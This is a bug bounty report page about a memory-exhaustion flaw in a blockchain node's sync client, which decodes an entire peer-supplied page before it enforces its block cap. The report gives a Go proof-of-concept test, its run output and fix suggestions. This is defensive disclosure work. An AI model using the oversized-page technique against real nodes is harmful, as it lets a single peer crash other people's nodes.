<!-- XE-0023 · net/sync: frontier sync client allocates a full decoded page before the block cap, single peer can OOM a node (High) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0023>. The page is the record; this is the same page for reading.*

XE-0023 · Bounty

# net/sync: frontier sync client allocates a full decoded page before the block cap, single peer can OOM a node (High)

Awarded
High
[xe#44](https://github.com/xeprotocol/xe/issues/44)
filed 2026-10-25 11:12 UTC
by byfor8

Verdict
:   Likely valid

Tier
:   High

Claimed
:   High

Area
:   P2P / sync

Duplicate of
:   —

Tracked
:   internally

Award
:   2,000 XE approved
    · ceiling 10,000

Updated
:   2026-11-07 21:14 UTC

### Patches

- [xe#144](https://github.com/xeprotocol/xe/pull/144) open by arturbarszcz78
  fix(net): stream decode sync responses and enforce page and block caps (#44)
- [core#1110](https://github.com/xeprotocol/core/pull/1110)
- [core#1113](https://github.com/xeprotocol/core/pull/1113)

### History

- [10315](https://bounty.xe.network/log/10315) 2026-11-05 22:21 UTC github.labels
- [10314](https://bounty.xe.network/log/10314) 2026-11-05 22:21 UTC ticket.status patched → awarded
- [10313](https://bounty.xe.network/log/10313) 2026-11-05 22:21 UTC ticket.award
- [10311](https://bounty.xe.network/log/10311) 2026-11-05 22:21 UTC proposal.adopted
- [10310](https://bounty.xe.network/log/10310) 2026-11-05 22:21 UTC ticket.award
- [10309](https://bounty.xe.network/log/10309) 2026-11-05 22:21 UTC proposal.adopted
- [10308](https://bounty.xe.network/log/10308) 2026-11-05 22:21 UTC ticket.status accepted → patched
- [10307](https://bounty.xe.network/log/10307) 2026-11-05 22:20 UTC proposal.rejected
- [6868](https://bounty.xe.network/log/6868) 2026-11-05 13:45 UTC proposal.created
- [1793](https://bounty.xe.network/log/1793) 2026-11-02 19:16 UTC proposal.created
- [1448](https://bounty.xe.network/log/1448) 2026-11-02 10:11 UTC note.added
- [1094](https://bounty.xe.network/log/1094) 2026-10-30 14:20 UTC proposal.created

[Full history](https://bounty.xe.network/log?ref=XE-0023) · [JSON](https://bounty.xe.network/v1/tickets/XE-0023) · [markdown](https://bounty.xe.network/XE-0023.md)

### Report

## Summary

The sync client appends the entire decoded JSON page to its block slice before checking the maxTotalBlocks cap, and the 10 MiB LimitedReader budget is re-armed per JSON value rather than per session. A malicious sync server can answer the pull with one 10 MiB page of empty block objects, which decode into millions of Block values in memory before any hash, signature or count check runs. The pull starts automatically on every inbound connection.

## Affected component

net/sync.go, client loop at lines 556 to 577 (lr.N reset at line 563, append at line 577 before the cap check at line 578), SyncResponse.Blocks is a pointer slice in net/messages.go lines 21 to 26, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Pull trigger on every inbound connection at sync.go lines 319 to 326, gated only by a 5 second per peer cooldown. The connection resource manager allows 8 connections per IPv4 address.

## Impact

One peer that is dialed by (or dials) the victim crashes or degrades it with a single page: memory spikes to roughly 1 to 2 GiB per page plus decoder overhead on a small node, and pages repeat until the cap or deadline. The honest server caps pages at 256 blocks and totals at 10000, but a malicious peer is not bound by those.

Suggested severity: High (node OOM from a single source, named in the program's High tier). Distinct from the reported per-page budget reset in issue #8 finding 4: the remaining defect on this pin is the append-before-cap ordering plus empty-object heap amplification. Confirmed by read-only source review.

## PoC

Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f5_test.go` (it joins the package's own test build), then:

```
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F5 ./net
```

**Test file** (`net/poc_f5_test.go`):

```
package net

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"os"
	"runtime"
	"strings"
	"testing"

	"github.com/xeprotocol/xe/core"
)

// TestPoC_F5 drives the frontier-sync client decode loop (requestSync in
// sync.go) in-process: a single JSON page is unmarshaled into []*core.Block
// before maxTotalBlocks is consulted. No libp2p, no network.
func TestPoC_F5(t *testing.T) {
	pass, detail := runF5()
	if pass {
		fmt.Println("PASS: F5 sync client materializes the full JSON page before maxTotalBlocks")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F5 expected alloc-before-cap on a single decoded page")
	fmt.Println(detail)
	os.Exit(0)
}

func runF5() (bool, string) {
	// One page larger than the session cap. Empty objects still become
	// allocated *core.Block values. Honest servers cap pages at 256; a
	// malicious peer is not bound by that.
	const pageCount = 20000
	var b strings.Builder
	b.Grow(pageCount*3 + 32)
	b.WriteString(`{"blocks":[`)
	for i := 0; i < pageCount; i++ {
		if i > 0 {
			b.WriteByte(',')
		}
		b.WriteString("{}")
	}
	b.WriteString(`],"has_more":false}`)
	payload := []byte(b.String())

	var memBefore runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&memBefore)

	// Exact client loop from requestSync (sync.go): reset lr.N per JSON
	// value, append the whole page, THEN check maxTotalBlocks.
	lr := &io.LimitedReader{R: bytes.NewReader(payload), N: maxSyncResponseBytes}
	dec := json.NewDecoder(lr)
	var allBlocks []*core.Block
	pages := 0
	for {
		lr.N = maxSyncResponseBytes
		var resp SyncResponse
		if err := dec.Decode(&resp); err != nil {
			if err == io.EOF {
				break
			}
			return false, "decode: " + err.Error()
		}
		pages++
		allBlocks = append(allBlocks, resp.Blocks...)
		afterAppend := len(allBlocks)
		hitCap := afterAppend >= maxTotalBlocks
		var memAfter runtime.MemStats
		runtime.ReadMemStats(&memAfter)
		detail := fmt.Sprintf(
			"maxTotalBlocks=%d maxPageSize=%d maxSyncResponseBytes=%d
"+
				"json_bytes=%d pages=%d
"+
				"len(allBlocks) AFTER append, BEFORE cap check=%d
"+
				"cap check would fire=%v (too late: the page is already in memory)
"+
				"heap_alloc_delta_bytes=%d",
			maxTotalBlocks, maxPageSize, maxSyncResponseBytes,
			len(payload), pages, afterAppend, hitCap,
			int64(memAfter.HeapAlloc)-int64(memBefore.HeapAlloc),
		)
		if !resp.HasMore {
			ok := afterAppend > maxTotalBlocks && pages == 1
			return ok, detail
		}
		if len(allBlocks) >= maxTotalBlocks {
			return false, detail + "
loop stopped at cap but page was not oversized"
		}
	}
	return false, "no JSON page decoded"
}
```

## Fix suggestion

Check len(allBlocks) before appending each page, cap the number of blocks accepted per JSON value, and decode blocks streaming with per-block size limits.

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
=== RUN   TestPoC_F5
PASS: F5 sync client materializes the full JSON page before maxTotalBlocks
maxTotalBlocks=10000 maxPageSize=256 maxSyncResponseBytes=10485760
json_bytes=60029 pages=1
len(allBlocks) AFTER append, BEFORE cap check=20000
cap check would fire=true (too late: the page is already in memory)
heap_alloc_delta_bytes=8982464
--- PASS: TestPoC_F5 (0.01s)
PASS
ok  	github.com/xeprotocol/xe/net	0.028s
```

### Thread

Nothing public yet.
